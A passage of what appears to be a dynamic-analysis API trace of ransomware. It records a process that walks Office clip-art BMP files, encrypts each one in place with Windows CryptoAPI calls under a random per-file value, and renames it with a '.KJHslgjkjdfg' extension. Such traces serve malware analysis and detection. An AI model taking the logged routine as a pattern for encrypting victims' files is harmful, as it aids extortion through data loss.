nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.920] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.920] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.920] GetProcessHeap () returned 0x990000 [0207.920] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.920] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.920] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.920] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.920] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.920] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.921] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.921] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.921] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.921] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.921] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.921] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.921] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7c08, lpOverlapped=0x0) returned 1 [0207.922] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c10) returned 1 [0207.923] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.923] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7c10, lpOverlapped=0x0) returned 1 [0207.923] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.923] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.923] SetEndOfFile (hFile=0x130) returned 1 [0207.925] GetProcessHeap () returned 0x990000 [0207.925] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.925] GetProcessHeap () returned 0x990000 [0207.925] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.925] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp.kjhslgjkjdfg")) returned 1 [0207.927] CloseHandle (hObject=0x130) returned 1 [0207.927] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bf3500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8bf3500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01332U.BMP", cAlternateFileName="")) returned 1 [0207.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.929] GetProcessHeap () returned 0x990000 [0207.929] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.929] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.929] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.929] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.930] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.930] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.931] GetProcessHeap () returned 0x990000 [0207.931] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.931] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.931] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.931] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.931] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.931] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.931] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.931] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.931] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.931] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.931] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.931] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.931] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0207.944] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0207.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.944] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0207.945] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.945] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.945] SetEndOfFile (hFile=0x130) returned 1 [0207.947] GetProcessHeap () returned 0x990000 [0207.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.948] GetProcessHeap () returned 0x990000 [0207.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp.kjhslgjkjdfg")) returned 1 [0207.950] CloseHandle (hObject=0x130) returned 1 [0207.950] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa711900, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa711900, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01478U.BMP", cAlternateFileName="")) returned 1 [0207.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.951] GetProcessHeap () returned 0x990000 [0207.952] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.952] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.952] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.952] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.952] GetProcessHeap () returned 0x990000 [0207.952] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.952] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.952] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.952] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.954] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.954] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.955] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.955] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.955] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.955] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.955] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0207.956] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0) returned 1 [0207.956] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.956] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ce0, lpOverlapped=0x0) returned 1 [0207.957] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.957] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.957] SetEndOfFile (hFile=0x130) returned 1 [0207.960] GetProcessHeap () returned 0x990000 [0207.960] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.960] GetProcessHeap () returned 0x990000 [0207.960] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp.kjhslgjkjdfg")) returned 1 [0207.962] CloseHandle (hObject=0x130) returned 1 [0207.962] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47b3800, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa47b3800, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01562U.BMP", cAlternateFileName="")) returned 1 [0207.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.964] GetProcessHeap () returned 0x990000 [0207.964] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.964] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.964] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.964] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.967] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.967] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.967] GetProcessHeap () returned 0x990000 [0207.967] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.967] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.967] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.967] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.967] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.967] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.967] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.967] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.967] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.968] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.968] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.968] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.968] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0207.969] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0207.969] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.969] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0207.969] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.970] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.970] SetEndOfFile (hFile=0x130) returned 1 [0207.972] GetProcessHeap () returned 0x990000 [0207.973] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.973] GetProcessHeap () returned 0x990000 [0207.973] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.973] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp.kjhslgjkjdfg")) returned 1 [0207.975] CloseHandle (hObject=0x130) returned 1 [0207.975] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fb68400, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fb68400, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01607U.BMP", cAlternateFileName="")) returned 1 [0207.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.976] GetProcessHeap () returned 0x990000 [0207.976] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.976] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.976] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.976] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.976] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.977] GetProcessHeap () returned 0x990000 [0207.977] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.977] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.977] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.977] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.085] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.085] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.085] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.085] SetFilePointerEx (in: hFile=0x130, 